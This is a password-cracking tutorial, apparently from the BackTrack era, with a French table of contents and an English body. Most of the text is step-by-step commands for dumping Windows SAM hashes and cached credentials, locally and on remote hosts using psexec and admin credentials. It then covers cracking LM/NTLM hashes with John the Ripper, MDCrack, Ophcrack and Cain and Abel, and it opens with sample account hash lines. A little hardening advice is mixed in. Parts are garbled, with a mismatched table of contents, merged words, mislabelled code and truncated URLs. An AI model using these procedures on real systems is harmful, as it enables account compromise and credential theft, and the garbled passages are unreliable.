b:1012:AC5BA6A944526699AAD3B435B51404EE:F07A9DFFFC2C5C7F9D9EBC83FD69D68E:::
c:1013:E7EED3F5C2C85B88AAD3B435B51404EE:6AA15B3D14492D3FA4AA7C5E9CDC0E6A:::
d:1014:8142C9E2CCAFA80EAAD3B435B51404EE43EB3C12D597DFE44A31859C586B2DC:::
Credit: J.Dravet
1 LM vs. NTLM
2 Syskey
3 Cracker les mots de passe Windows
3.1 Extraire les hash de la SAM Windows
3.1.1 En utilisant les outils BackTrack
3.1.1.1 Avec bkhive et samdump v1.1.1 (BT2 et BT3)
3.1.1.2 Avec samdump2 v2.0.1 (BT4)
3.1.1.3 Credentials mis en cache
3.1.2 En utilisant les outils Windows
3.1.2.1 Avec fgdump
3.1.2.2 Avec gsecdump
3.1.2.3 Avec pwdump7
3.1.2.4 Credentials mis en cache
3.2 Extraire les hash de la SAM Windows à distance
3.2.1 En utilisant les outils BackTrack
3.2.1.1 ettercap
3.2.2 En utilisant les outils Windows
3.2.2.1 Avec fgdump
3.3 Cracker les mots de passe Windows
3.3.1 En utilisant les outils BackTrack
3.3.1.1 John the Ripper BT3 et BT4
3.3.1.1.1 Cracker le LM hash
3.3.1.1.2 Cracker le NTLM hash
3.3.1.1.3 Cracker le NTLM en utilisant le LM hash cracké
3.3.1.1.4 Cracker les credentials mis en cache
3.3.1.2 John the Ripper - actuel
3.3.1.2.1 Le télécharger et le compiler
3.3.1.2.2 Cracker le LM hash
3.3.1.2.3 Cracker le LM hash en utilisant des lettres connues placées à des endroits connus (knownforce)
3.3.1.2.4 Cracker le NTLM hash
3.3.1.2.5 Cracker le NTLM hash en utilisant le LM hash cracké (dumbforce)
3.3.1.2.6 Cracker les credentials mis en cache
3.3.1.3 En utilisant MDCrack
3.3.1.3.1 Cracker le LM hash
3.3.1.3.2 Cracker le NTLM hash
3.3.1.3.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.1.4 En utilisant Ophcrack
3.3.1.4.1 Cracker le LM hash
3.3.1.4.2 Cracker le NTLM hash
3.3.1.4.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.2 En utilisant les outils Windows
3.3.2.1 John the Ripper
3.3.2.1.1 Cracker le LM hash
3.3.2.1.2 Cracker le NTLM hash
3.3.2.1.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.2.1.4 Cracker les credentials mis en cache
3.3.2.2 En utilisant MDCrack
3.3.2.2.1 Cracker le LM hash
3.3.2.2.2 Cracker le NTLM hash
3.3.2.2.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.2.3 En utilisant Ophcrack
3.3.2.3.1 Cracker le LM hash
3.3.2.3.2 Cracker le NTLM hash
3.3.2.3.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.2.4 En utilisant Cain and Abel
3.3.3 En utilisant un Live CD
3.3.3.1 Ophcrack
4. Changer les mots de passe Windows
4.1 Changer les mots de passe des utilisateurs locaux
4.1.1 En utilisant BackTrack
4.1.1.1 chntpw
4.1.2 En utilisant un Live CD
4.1.2.1 chntpw
4.1.2.2 System Rescue CD
4.2 Changer les mots de passe d'Active Directory
5 plain-text.info (information texte)
6 Cracker les mots de passe Novell NetWare
7 Cracker les mots de passe Linux/Unix
8 Cracker les mots de passe des équipements réseau
8.1 En utilisant BackTrack
8.1.1 Avec Hydra
8.1.2 Avec Xhydra
8.1.3 Avec Medusa
8.1.4 Avec John the Ripper pour cracker un hash Cisco
8.2 En utilisant des outils Windows
8.2.1 Avec Brutus
9 Cracker des applications
9.1 Cracker Oracle 11g (sha1)
9.2 Cracker les mots de passe Oracle via le réseau
9.3 Cracker les mots de passe Office
9.4 Cracker les mots de passe tar
9.5 Cracker les mots de passe zip
9.6 Cracker les mots de passe pdf
10 Attaques par dictionnaire (wordlist)
10.1 En utilisant John the Ripper pour générer des listes de mots (wordlist)
10.2 Configurer John the Ripper pour utiliser une wordlist
10.3 En utilisant crunch pour générer une wordlist
10.4 Générer une wordlist à partir d'un fichier texte ou d'un site web
10.5 En utilisant des wordlists toutes prêtes
10.6 Les autres générateurs de wordlist
10.7 Manipuler les wordlists
11 Rainbow Tables
11.1 Que sont-elles ?
11.2 Générez vos propres Rainbow tables
11.2.1 rcrack - obsolète mais fonctionnel
11.2.2 rcracki
11.2.3 rcracki - client boinc
11.2.4 Générer une rainbow table
11.3 Cracker du WEP
11.4 WPA-PSK
11.4.1 airolib
11.4.2 pyrit
12 Cracking de mot de passe distribué (Distributed Password cracking)
12.1 john
12.2 medussa (avec 2 s)
13 En utilisant un GPU
13.1 cuda - nvidia
13.2 stream - ati
1. LM vs. NTLM
The LM hash is the old style hash used in MS operating systems before NT 3.1. It converts the passwords to uppercase, null-pads or truncates the password to 14 characters. The password is split into two 7 character halves and uses the DES algorithm. NT 3.1 to XP SP2 supports LM hashes for backward compatibility and is enabled by default. Vista supports LM hashes but it disabled by default. Given the weakness in the LM hash it is recommended to disable using LM hashes for all MS operating systems using the steps in http://support.microsoft.com/kb/299656
NTML was introduced in NT 3.1 and does not covert the password to uppercase, does not break the password apart, and supports password lengths greater than 14. There are two versions of NTLM: v1 and v2. Due to a weakness in NTLM v1 it should not be used. Microsoft has included support fort NTLM v2 for all its operating systems either via service pack or the Directory Services client (for Windows 9X). You enable NTLM v2 by following the instructions at http://support.microsoft.com/kb/239869
For a maximum security you should set the LMCompatibility to 3 for Windows 9X and LMCompatibilityLevel to 5 for NT, 2000, XP, and 2003. Of course, you should test these changes before you put them into a production environment.
2. Syskey
To make more difficult the cracking of your passwords, use Syskeys. For further information please look here:
http://support.microsoft.com/kb/310105
The short version is syskey encrypts the SAM. The weakest point option but most convenient is to store a system generated password locally; locally means registry. The up side is the SAM gets encrypted and you can reboot the server remotely without extra equipment. The next option is password startup. This is slightly more difficult to get around, but if you remotely reboot the server, it will stop and wait for someone to enter the password. You will need a KVM over IP or a serial port concentrator so you can enter the password remotely. The most secure option is the system generated passwored stored on a floppy disk. The downside to this option is floppy disks fail, you misplace the floffy disk, newer equipment does not have a floppy disk drive, no remote reboots, and you will probably leave the floppy in the drive so you can remote reboot and that defeats security. I use a system generated password stored locally, weak but better than not doing it. To disable syskey use chntpw and follow its instructions.
3. Cracking Windows Passwords
3.1.1.1 Using bkhive and samdump2 v1.1.1 (BT2 and BT3)
1.
Code:
# mount /dev/hda1 /mnt/XXX
2.
If the syskey password is stored locally you need to extract it from the registry so you can decrypt theSAM. If syskey is setup to prompt for a password or the password is on a floppy, stop now and read thesyskey documentation in this document for more information about syskey. If you installed windows to something other C:\WINDOWS please substitute the correct path. WARNING the path is casesensitive. The filenames of sam, security, and system are case sensitive. On my system these files arelowercase. I have come across other XP systems where they are uppercase. On the Vista system I haveused the filenames are uppercase.
BackTrack 2 users use the following:
Code:
# bkhive-linux /mnt/XXX/WINDOWS/system32/config/system syskey.txt
Code:
# bkhive /mnt/XXX/WINDOWS/system32/config/system syskey.txt
Code:
# samdump2 /mnt/XXX/WINDOWS/system32/config/sam syskey.txt >hash.txt
you can also run samdump2 with the -o parameter to write the output to a file
Code:
# samdump2 -o hash.txt /mnt/XXX/WINDOWS/system32/config/sam syskey.txt
The current version is 2.0.1 and has the benefit of being able to extract the syskey on its own. This means dumping the hashes in now a 1 step process instead of two. To upgrade and run sampdump2 v2.0.1:
1.
Download the current sampdump2 from http://sourceforge.net/project/showf...roup_id=133599
2.
Code:
# tar -xjvf samdump2-2.0.1.tar.bz2
Code:
# cd samdump2-2.0.1
Code:
# make
Code:
# cp samdump2 /usr/local/bin/samdump20
Code:
# cp samdump2 /usr/local/bin/
mount your windows partition substituting hda1 for whatever your windows partition is
Code:
# mount /dev/hda1 /mnt/XXX
if the syskey password is stored locally samdump2 v2.0 will extract it from the registry so it can decryptthe SAM. If syskey is setup to prompt for a password or the password is on a floppy, stop now and readthe syskey documentation in this document for more information about syskey. If you installedwindows to something other C:\WINDOWS please substitute the correct path. WARNING the path iscase sensitive. The filenames of sam, security, and system are case sensitive. On my system these filesare lowercase. I have come across other XP systems where they are uppercase. On the Vista system Ihave used the filenames are uppercase.
8.
Code:
# samdump2 /mnt/XXX/WINDOWS/system32/config/system /mnt/XXX/WINDOWS/system32/config/sam >hash.txt
you can also run samdump2 with the -o parameter to write the output to a file
Code:
# samdump2 -o hash.txt /mnt/XXX/WINDOWS/system32/config/sam syskey.txt
The only Linux based application to dump cached credentials I found is creddump which can be found at http://code.google.com/p/creddump/
samdump v2.0.1 couldn't do this so I wrote the code to dump cachedcredentials. I have submitted it upstream so I hope to see this feature in the next version.
3.1.2 Using Windows Tools
3.1.2.1 Using fgdump
To dump local passwords:
1.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You could also try to use metasploit to attack your system toget to a command prompt.
2.
Download one of the fgdump files fromhttp://swamp.foofus.net/fizzgig/fgdump/downloads.htmandunzip it.
3.
run the fgdump utility you downloadedC:\> fgdump -v
4.
copy the 127.0.0.1.pwdump file to a floppy or USB thumb drive if you are going to use BackTrack tocrack the hashes
You can dump passwords from remote systems but only if you know the remote local administrator passwordor have domain administrator privledges.
1.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You could also try to use metasploit to attack your system toget to a command prompt.
2.
Download one of the fgdump files from http://swamp.foofus.net/fizzgig/fgdump/downloads.htm and unzip it.
3.
run the fgdump utility you downloaded
Code:
C:\> fgdump -v -h hostname -u Username -p Password
Password is the password of the above account
NOTE: If you have a firewall installed on the remote system this will not work.
4.
copy the 127.0.0.1.pwdump file to a floppy or USB thumb drive if you are going to use BackTrack tocrack the hashes.
3.1.2.2 Using gsecdump
Thanks to williamc for pointing out another password dumping tool. These instructions are based on the Exploitation part of his Intranet Exploitation tutorial.
1.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this my system I know administrator password. You could also try to use metasploit to attack your system to get to a command prompt.
2.
Download the gsecdump file from http://www.truesec.com/PublicStore/c...o.aspx?cid=223
You have to click on the Hamta filen link to download it. Once downloaded, unzip it.
3.
Download the psexec tool from http://technet.microsoft.com/en-us/s.../bb897553.aspx and unzip it
4.
run as follows
Code:
:C:\> psexec \\hostname -u username -p password -s -f -c gsecdump.exe -s > hash.txt
username is the username to login to the remote PC.
password is the password of the above username. If you don't put in it here you be prompted to enter it. If you are prompted the password won't be displayed.
-s tells the process to run as the system account
-f copies the program to the target pc even if it exists
-c copies the program to the target
pcgsecdump.exe is the utility you want to run
-s tells gsecdump to dump the SAM/AD hashes
the > character redirects the output to a file called hash.txt
NOTE: If you have a firewall installed on the remote system this will not work.
5.
copy the hash.txt file to a floppy or USB thumb drive if you are going to use BackTrack to crack the hashes.
3.1.2.3 Using pwdump
1.
Download one of the pwdump files from http://en.wikipedia.org/wiki/Pwdump and unzip it.
2.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You could also try to use metasploit to attack your system to get to a command prompt.
3.
run the pwdump utility you downloaded
Code:
C:\> pwdump7 >c:\hash.txt
4.
copy the hash.txt file to a floppy or USB thumb drive if you are going to use BackTrack to crack the hashes.
3.1.2.4 Cached Credentials
When a user logs into a domain their password is cached in the registry so that in the event that the DomainController or network goes down the user can still login to their PC. To export these registry keys you need atool call cachedump. It can be downloaded from ftp://ftp.openwall.com/john/contrib/cachedump/
Thereadme.txt in the zip contains everything you want to know about where the cached credentials arestored, how cached credentials work, how they are hashed, and how the tool works. Cachedump does not work on Windows Vista. Vista changed the way that cached creditionals work. You can also download the fgdump with source file from http://www.foofus.net/fizzgig/fgdump/ and get cachedump and its source code.
To use:
1.
Extract the cachedump.exe from the zip
2.
Login to the PC as an administrator
3.
Goto a cmd prompt (Start, Run, cmd)
4.
C:\> cd \path to cachedump.exe
5.
Code:
C:\> cachedump.exe -v
Code:
C:\> cachedump.exe >cache.txt
Now you can use John The Ripper or Cain and Abel to crack the hashes.
Please note that Cached Credentials use a different hash than LM or NTLM. The lowercase username is salted with the password.
The best way to protect yourself from this is to disable cached credentials.
Change the value of the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\CACHEDLOGONSCOUNT to 0.
You can do this manually or with Group Policy.
3.2 Extracting Windows Password hashes remotely
3.2.1 Using BackTrack Tools
3.2.1.1 Using ettercap
You can use ettercap and the man in the middle attacks to sniff the username and password of a user over thenetwork.
DO NOT ATTEMPT THIS WITHOUT PERMISSION OF THE USER WHOSE ACCOUNT YOU WANT TO SNIFF.
You can read an ettercap tutorial at http://openmaniak.com/ettercap.php which covers the basics on how touse ettercap. There so much that ettercap can do and there are many tutorials covering how to use it I am notgoing to duplicate the effort. Just do a quick search using your favorite internet search engine for ettercap tutorials and read.
3.2.1.2 Using hashdump (metasploit)
I am not going to cover this in great detail. To use hashdump you first have to use metasploit to compromise the PC from which you want the password hashes. There are already a number of tutorials that explain how to use metasploit.
The best documentation is at http://www.metasploit.com/framework/support/
Once you have compromised the PC using metasploit you can extract the hashes doing:use privhashdump
3.2.2 Using Windows Tools3.2.2.1 Using fgdump
1.
Download one of the fgdump files from http://swamp.foofus.net/fizzgig/fgdump/downloads.htm and unzip it.
2.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You will need the administrator password or the username and password of a an account that is in the local Administrators group on the PC from which you want the hashes.
3.
run the fgdump utility you downloaded
Code:
C:\> fgdump -v -h hostname or IP_Address_of_Target -u username -p password
copy the 127.0.0.1.pwdump file to a floppy or USB thumb drive if you are going to use BackTrack to crack the hashes
3.2.2.2 Using pwdump6
1.
Download pwdump6 from http://en.wikipedia.org/wiki/Pwdumpand and unzip it.
2.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You will need the administrator password or the username and password of a an account that is in the local Administrators group on the PC from which you want the hashes.
3.
run the utility you downloaded
Code:
C:\> pwdump6 -u username -p password hostname or IP_Address_of_Target>c:\hash.txt
pwdump6 will dump the SAM to the screen and the > character redirects the output to a file called hash.txt
4.
copy the hash.txt file to a floppy or USB thumb drive if you are going to use BackTrack to crack the hashes.
3.3 Cracking Windows Passwords3.3.1 Using BackTrack Tools
My strategy for cracking windows passwords is like this:
1.
Get/Develop a really good wordlist/dictionary
2.
Find the password policy that is enforced for the account you are trying crack
3.
Crack the LM hash using John the Ripper
4.
Crack the NTLM hash with the results of the cracked LM hash and the password policy informationusing mdcrack
5.
If there is no LM hash to crack I proceed to cracking with John the Ripper using the password policyinformation and my wordlist. Then I use rainbowtables if the tables match the password policy. http://plain-text.infois back up and running so I check if they have the cracked password already.
To successfully use arainbow table you need to know the password policy. No sense downloading a rainbow table that contains letters and numbers when the password policy requires a symbol ([email protected]#$%^&* etc).
3.3.1.1 John the Ripper BT3 and BT4
Version 1.7.2 shipped with BackTrack 3. Version 1.7.3.1 with jumbo patch 5 shipped with BT4. The john theripper that ships with BT4 requires at least a P4 with SSE2 instructions. If you don't have a processor that supports SSE2 then you have download and compile john yourself. See the next section for instructions onhow to do this.
3.3.1.1.1 Cracking the LM hash
john only needs to know the path to the hash.txt to begin bruteforcing and return the uppercase password
Code:
# /usr/local/john/john hash.txt
john only needs to know the path to the hash.txt to begin bruteforcing and return the password
Code:
# /usr/local/john/john --format:NT hash.txt
Code:
3.3.1.1.3 Cracking the NTLM hash using the cracked LM hash
You will have to modify the john.conf file and include the following code that Solar Designer has kindly published to the john-users maillist:
Code:
[List.External:customcharset]int running; // Are we already running?
int last; // Last character position, zero-based
int c0, c[0x100]; // Cyclic charset
void init()
{
int length, cm, i;
length = 10; // password lengthc
[c0 = 't'] = 'e'; // change the t and the e to the first and second letters of the custom character set
c['e'] = 's'; // change the e and the s to the second and third letters of the character set
c['s'] = 'T'; // change the s and T to the third and fourth letters
c['T'] = 'E'; // etcc['E'] = 'S'; // etc
c[cm = 'S'] = c0; // change the S to the last letter of the character set
// If you cannot see the pattern then do not bother with this trick.
// If you can make the necessary changes to suit you environment.
running = 0;
last = length - 1;
i = 0;
while (i < length) word[i++] = cm; word[i] = 0;
}
void generate()
{
int i;
i = last;
while ((word[i] = c[word[i]]) == c0)
if (!i--)
{
if (running++) word = 0;
return;
}
}
Code:
# /usr/local/john/john -external=customcharset --format:NT hash.txt
1.
Being an external mode, this is not the fastest way to generate candidate passwords, although its performance is acceptable. Some further optimizations are possible (e.g., cache the last character outside of the word[] array). Also, be careful when you edit it (such as for a different charset) - errorsin the way the cyclic charset is defined may result in the "while" loop in generate() becoming endless.
2.
In order to actually crack an NTLM hash with this, you need a build of JtR with support for NTLMhashes. You may do a custom build with the latest jumbo patch (john-1.7.2-all-9.diff.gz), which meansthat you will need to install Cygwin on your Windows system, or you can download such a build made by someone else (one is linked from the JtR homepage - it is for an older version of the patch, though,so it is many times slower at NTLM hashes).
3.
On a modern system, with a recent jumbo patch, and with the proper "make" target for your system,this should complete its work against an NTLM hash (or against many such hashes) in just a fewminutes.
3.3.1.1.4 Cracking cached credentials
john only needs to know the path to the hash.txt to begin bruteforcing and return the password
Code:
# /usr/local/john/john --format:mscash hash.txt
The current version of John the Ripper doesn't ship with BT4. It adds some new features (dumbforce and knownforce) and speeds up several algorithms. However given the way BT4 handles updates I don'trecommend updating the package yourself unless your processor doesn't support SSE2 instructions (i.e.something less than a P4). I recommend going to http://www.backtrack-linux.org/forums/tool-requests/ and requesting they update the package to the latest version. Do NOT ask them to drop the SSE2 requirement. The SSE2 instructions provide real benefits to the cracking process. If you need to compile your own version here is how.
3.3.1.2.1 Get and Compile
We first have to remove the existing package and then we can download and compile the program.
Open a terminal window
Code:
# dpkg -r john
Code:
# wget http://www.openwall.com/john/g/john-1.7.4.2.tar.bz2
This is version 1 of the jumbo patch for john 1.7.4.2.
Download the latest version that is there.
Code:
# tar -xvf john-1.7.4.2.tar.bz2
Code:
# cd john-1.7.4.2
Code:
# zcat ../john-1.7.4.2-jumbo-1.diff.gz | patch -p1 -Z
Code:
# cd src
Code:
# make
Code:
# make linux-x86-mmx.
Code:
cat /proc/cpuinfo
If you have a P4 you probably have SEE2 (check the cpuinfo flags) then you would use: make linux-x86-see2
Code:
# make linux-x86-mmx
Code:
gcc DES_fmt.o DES_std.o DES_bs.o BSDI_fmt.o MD5_fmt.o MD5_std.o MD5_apache_fmt.oBFEgg_fmt.o BF_fmt.o BF_std.o AFS_fmt.o LM_fmt.o NT_fmt.o XSHA_fmt.o DOMINOSEC_fmt.olotus5_fmt.o oracle_fmt.o MYSQL_fmt.o mysqlSHA1_fmt.o KRB5_fmt.o KRB5_std.o md5_go.orawMD5go_fmt.o md5_eq.o PO_fmt.o md5.o hmacmd5.o hmacMD5_fmt.o IPB2_fmt.orawSHA1_fmt.o NSLDAP_fmt.o NSLDAPS_fmt.o OPENLDAPS_fmt.o base64.o md4.o smbencrypt.omscash_fmt.o NETLM_fmt.o NETNTLM_fmt.o NETLMv2_fmt.o NETHALFLM_fmt.o mssql_fmt.omssql05_fmt.o EPI_fmt.o PHPS_fmt.o MYSQL_fast_fmt.o pixMD5_fmt.o sapG_fmt.o sapB_fmt.o NS_fmt.o HDAA_fmt.o batch.o bench.o charset.o common.o compiler.o config.o cracker.o crc32.oexternal.o formats.o getopt.o idle.o inc.o john.o list.o loader.o logger.o math.o memory.o misc.ooptions.o params.o path.o recovery.o rpp.o rules.o signals.o single.o status.o tty.o wordlist.o mkv.omkvlib.o unshadow.o unafs.o undrop.o unique.o x86.o x86-mmx.o sha1-mmx.o md5-mmx.o -s -L/usr /local/lib -L/usr/local/ssl/lib -lcrypto -lm -o ../run/john
Code:
rm -f ../run/unshadow
Code:
ln -s john ../run/unshadow
Code:
rm -f ../run/unafs
Code:
ln -s john ../run/unafs
Code:
rm -f ../run/unique
Code:
ln -s john ../run/unique
Code:
rm -f ../run/undrop
Code:
ln -s john ../run/undrop
Code:
gcc -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include -L/usr/local/lib -funroll-loops genmkvpwd.c gcc -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include -L/usr/local/lib -funroll-loops-D_JOHN_MISC_NO_LOG misc.c -o miscnl.o gcc genmkvpwd.o mkvlib.o memory.o miscnl.o -s -lm -o ../run/genmkvpwd gcc -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include -L/usr/local/lib -funroll-loopsmkvcalcproba.c gcc mkvcalcproba.o -s -lm -o ../run/mkvcalcproba gcc -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include -L/usr/local/lib -funroll-loops calc_stat.c gcc calc_stat.o -s -lm -o ../run/calc_stat
Code:
make[1]: Leaving directory `/root/john-1.7.4.2/src
Code:
# cd ..
Code:
# mv run /pentest/passwords/john
3.3.1.2.2 Cracking the LM hash
john only needs to know the path to the hash.txt to begin bruteforcing and return the uppercase password
Code:
# /usr/local/john/john hash.txt
I haven't figured out how to use this feature. John the Ripper is a very powerful tool however it is not veryintuitive to use. I can point you to the John the Ripper wiki which has maillist excerpts cover how to usedumbforce and knownforce. The url is http://openwall.info/wiki/john/mailing-list-excerpts
3.3.1.2.4 Cracking the NTLM hash
john only needs to know the path to the hash.txt to begin cracking and return the password
Code:
# /usr/local/john/john --format:NT hash.txt
3.3.1.2.5 Cracking the NTLM hash using the cracked LM hash (dumbforce)
I haven't figured out how to use this feature. John the Ripper is a very powerful tool however it is not veryintuitive to use. I can point you to the John the Ripper wiki which has maillist excerpts cover how to usedumbforce and knownforce. The url is http://openwall.info/wiki/john/mailing-list-excerpts
3.3.1.2.6 Cracking cached credentials
john only needs to know the path to the hash.txt to begin bruteforcing and return the password
Code:
# /usr/local/john/john --format:mscash hash.txt
For whatever reason I have been unsuccessful in getting mdcrack-183 to work with any version of wine. This is strange as I know I had it working previously. To use mdcrack with BackTrack you should upgrade wine to the latest development version of wine and then use mdcrack-182.zip
For BackTrack 3 users:
1.
Go to http://www.winehq.org/site/download and click on slackware.
2.
download the latest tgz file, which as of this writting is 1.1.29
3.
open a xterm window
4.
Code:
# upgradepkg wine-1.1.29-i486-1kjz.tgz
Code:
5.
download mdcrack:
or
6.
Code:
# mkdir mdcrack
Code:
# mv MDCrack-182.zip mdcrack
Code:
# cd mdcrack
Code:
# unzip MDCrack-182.zip
For BackTrack 4 users:
1.
open a xterm window
Code:
# wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add -
Code:
# sudo wget http://wine.budgetdedicated.com/apt/....d/jaunty.list -O /etc/apt/sources.list.d/winehq.list
Code:
# sudo apt-get update
Code:
# sudo apt-get install wine
Now you can download mdcrack-182.zip
download mdcrack:
Code:
# wget http://membres.lycos.fr/mdcrack/download/MDCrack-182.zip
Code:
# wget http://c3rb3r.openwall.net/mdcrack/download/MDCrack-182.zip
Code:
# mkdir mdcrack
Code:
# mv MDCrack-182.zip mdcrack
Code:
# cd mdcrack
Code:
# unzip MDCrack-182.zip
MDCrack doesn't crack LM hashes.
3.3.1.3.2 Cracking the NTLM hash
Code:
# wine MDCrack-sse.exe --algorithm=NTLM1 NTLMHASH
The result should be TestTest
The only way to speed up cracking is to know the minimum length of the password and use --minsize= to specify it.
3.3.1.3.3 Cracking the NTLM hash using the cracked LM hash
Stasik told me it is much easier to crack the NTLM hash if you know the character set. This way you do notneed to bruteforce all possible characters combinations. Once you have TESTTEST, feed a custom character set of tesTES to mdcrack and it will return the proper case password much faster than if you did not limit the character set.
Code:
# wine MDCrack-sse.exe --charset=tesTES --algorithm=NTLM1 D280553F0103F2E643406517296E7582If
Code:
# wine MDCrack-sse.exe --charset=tesTES --algorithm=NTLM1 --minsize=8 --maxsize=8D280553F0103F2E643406517296E7582
3.3.1.4 Using Ophcrack
3.3.1.4.1 Cracking the LM hash
download ophcrack and the rainbow tables from http://sourceforge.net/project/showf...roup_id=133599
If you have the hard drive space I would recommend downloading XP freefast formally known as SSTIC04-5K. If this is a demo or do not have a lot of disk space download XP freesmall formally known as SSTIC04-10K. This is not a typo; SSTIC04-5K is a larger download thanSSTIC04-10K. You can also purchase the XP Special table which contain longer passwords and the specialcharacters. There are special tables for Vista. The small table is Vista free and is free. There is a table you can purchase called Vista Special which contains hashes for passwords up to 8 characters. See http://ophcrack.sourceforge.net/tables.php for the details. The rainbow tables that ophcrack uses are NOT compatible with the rainbow tables generated by rtgen.
Code:
# tar -xvzf ophcrack-2.4.1.tar.gz
Code:
# cd ophcrack-2.4.12.
Code:
# ./configure
Code:
# make
Code:
# make install
Code:
# ophcrack
click on the tables button and select the rainbow table you installed.
click on the launch button. You will see pre-loading table boxes on the screen. You may also see amessage that says "All LM hashes are empty. Please use NThash tables to crack the remaining hashes."This means that the administrators have disabled windows ability to save LM hashes.
wait until ophcrack is done
3.3.1.4.2 Cracking the NTLM hash
You will have to purchase the NTLM rainbow tables from http://www.objectif-securite.ch/en/products.php
The rainbow table contains 99% of passwords of made of following characters:
length 1 to 6:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;&<=>[email protected][\]^_`{|}~ (space included)
length 7:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
length 8:
0123456789abcdefghijklmnopqrstuvwxyz
You CANNOT generate your own rainbow tables for ophcrack to use. If you know that the password meetsthe above specs you can purchase the table and give it a try.
3.3.1.4.3 Cracking the NTLM hash using the cracked LM hash
There is no way to do this. If ophcrack cracks the LM hash you should switch to john or mdcrack to get the NTLM password.
3.3.2 Using Windows Tools
3.3.2.1 John the Ripper
3.3.2.1.1 Cracking the LM hash
1.
download john the ripper from http://www.openwall.com/john/
2.
open a command prompt (Start, Run, cmd, enter)
3.
cd to where you extracted john (I extracted john to the root of my C drive) so it would be
Code:
cd\john171w\runC:\> cd \john171w\run
john only needs to know the path to the hash.txt to begin bruteforcing and return the uppercase password
Code:
C:\> john-386 C:\hash.txt
You cannot as the windows binary of john the ripper that you can download from the website does notsupport NTLM. You will have to download the source code, one of the patches that adds support for NTLM and compile it yourself. There are also one or two places where you can download a john binary that already has the patches applied.
3.3.2.1.3 Cracking the NTLM hash using the cracked LM hash
You cannot as the windows binary of john the ripper that you can download from the website does notsupport NTLM. You will have to download the source code, one of the patches that adds support for NTLM and compile it yourself. There are also one or two places where you can download a john binary that already has the patches applied.
3.3.2.2 MDCrack 3.3.2.2.1 Cracking the LM hash
MDCrack doesn't support LM hashes.
3.3.2.2.2 Cracking the NTLM hash
1.
download mdcrack from http://membres.lycos.fr/mdcrack/
or
http://c3rb3r.openwall.net/mdcrack/ and extract the files
2.
open a command prompt (Start, Run, cmd, enter)
3.
cd to where you extracted the files
Code:
C:\> cd \mdcrack-183
Code:
C:\MDCrack-183> MDCrack-sse.exe --algorithm=NTLM1 NTLMHASH
4.
The result should be TestTest
3.3.2.2.3 Cracking the NTLM hash using the cracked LM hash
Stasik told me it is much easier to crack the NTLM hash if you know the character set. This way you do notneed to bruteforce all possible characters combinations. Once you have TESTTEST, feed a custom character set of tesTES to mdcrack and it will return the proper case password much faster than if you did not limit thecharacter set.
Code:
C:\MDCrack-183> MDCrack-sse.exe --charset=tesTES --algorithm=NTLM1
If you know the password length you can use:
Code:
C:\MDCrack-183> MDCrack-sse.exe --charset=tesTES --algorithm=NTLM1 --minsize=8 --maxsize=8
The password is TestTest
3.3.2.3 Ophcrack 3.3.2.3.1 Cracking the LM hash
Download ophcrack from http://sourceforge.net/project/showf...oup_id=1335991
1.
Start the installation and select next until you get to the Select Components screen. Select one of thetwo download options. If you have the hard drive space I would recommend downloading SSTIC04-5K. If this is for a demo or do not have a lot of disk space download SSTIC04-10K. This is not a typo;SSTIC04-5K is a larger download than SSTIC04-10K. Answer the rest of the install questions and click on install. The installer will start downloading the rainbow table you selected. The other options on theSelect Components screen will cost you money as you have to purchase the DVD or CD. The rainbowtables that ophcrack uses are NOT compatible with the rainbow tables generated by rtgen.
2.
Start ophcrack using the icon on the start menu bar.
3.
Click on the load button and select the appropriate option, I will select local SAM.
4.
Click on the tables button and select the rainbow table you installed.
5.
Click on the launch button. You will see pre-loading table boxes on the screen. You may also see amessage that says "All LM hashes are empty. Please use NThash tables to crack the remaining hashes." This means that the administrators have disabled windows ability to save LM hashes.
6.
Wait until ophcrack is done.
3.3.2.3.2 Cracking the NTLM hash
You will have to purchase the NTLM rainbow tables from http://www.objectif-securite.ch/en/products.php
The rainbow table contains 99% of passwords of made of following characters sets:
length 1 to 6:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;&<=>[email protected][\]^_`{|}~ (space included)
length 7:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
length 8:
0123456789abcdefghijklmnopqrstuvwxyz
You CANNOT generate your own rainbow tables for ophcrack to use. If you know that the password meets the above specs you can purchase the table and give it a try.
3.3.2.3.3 Cracking the NTLM hash using the cracked LM hash
There is no way to do this. If opcrack cracks the LM hash you should switch to john or mdcrack to get the NTLM password.
3.3.2.4 Using Cain and Abel
Download Cain and Abel from http://www.oxid.it/cain.html
1.
Install Cain and Abel using the default settings
2.
Start Cain and Abel
3.
Click on the Cracker tab
4.
Click somewhere inside the table
5.
Click on File, Add to list.
6.
Select Import hashes from local system and click next
7.
Right click on the account you want the password for and select Brute-force attack. Chose the optionyou want to use (for windows passwords either LM hashes or NTLM hashes).
8.
Select the character set you want to use, set the minimum and/or maximum password length if you know it to decrease the amount of cracking time needed.
9.
Click on Start
10.
Wait!
3.3.3 Using a Live CD3.3.3.1 Ophcrack
The ophcrack LiveCD is good when you have physical access to the PC. Just download ophcrack-livecd from http://sourceforge.net/project/showf...roup_id=133599
